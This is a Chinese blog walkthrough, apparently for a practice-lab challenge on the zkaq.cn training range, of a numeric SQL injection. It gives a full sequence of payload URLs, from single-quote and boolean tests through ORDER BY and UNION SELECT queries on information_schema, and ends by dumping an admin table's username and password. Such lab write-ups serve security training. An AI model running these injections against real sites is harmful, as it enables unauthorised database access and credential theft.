为了女神小芳

URL:封神台 - 掌控安全在线演练靶场,是一个在线黑客攻防演练平台。 (zkaq.cn)

 

1、既是sql注入,首先判断是否存在sql注入漏洞。

判断是否存在sql注入,使用最为经典的单引号判断法,在参数后面加单引号’,无论字符型还是数字型都会因为单引号个数不匹配而报错。因此如果页面返回不正确,便存在sql注入漏洞。

http://rhiq8003.ia.aqlab.cn/?id=1’

2、不出所料,页面报错。判断注入类型。使用and 1=1,and 1=2来判断,

1 and 1=1 页面依旧运行正常,继续进行下一步。
1 and 1=2 页面运行错误,则说明此 Sql 注入为数字型注入。

输入1 and 1=2时页面返回不正常,说明此sql注入为数字型注入。

(字符型判断

?id= x' and '1'='1 页面运行正常,继续进行下一步。
?id= x' and '1'='2 页面运行错误,则说明此 Sql 注入为字符型注入

)

3、判断字段数,使用order by判断,直至页面返回不正常。

?id=1 and 1=1 order by 1
?id=1 and 1=1 order by 2
?id=1 and 1=1 order by 3
......

 测试到?id=1 and 1=1 order by 3时,页面返回不正常,说明字段数为2。

4、判断回显点,使用联合查询.

?id=1 and 1=2 union select 1
?id=1 and 1=2 union select 1,2
......

 在测试到?id=1 and 1=2 union select 1,2时,页面返回2,说明注入点在第二个位置,在2的位置可以显示。

5、查询内容

?id=1 and 1=2 union select 1,database()     #查询当前数据库
?id=1 and 1=2 union select 1,version()      #查询当前数据库版本
?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1            #查询表名
?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1   #查询第一个字段名
?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 1,1    #查询第二个字段名
?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 2,1   #查询第三个字段名

 

 

 可查询出admin表中有3个字段,分别为id,username,password.

6、查询字段内容

?id=1 and 1=2 union select 1,username from admin limit 0,1

 

?id=1 and 1=2 union select 1,username from admin limit 1,1

只返回一个admin用户

接着查询password字段内容,

?id=1 and 1=2 union select 1,password from admin limit 0,1

 拿到用户名和密码。admin,hellohack

sqlmap跑会更快!!!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值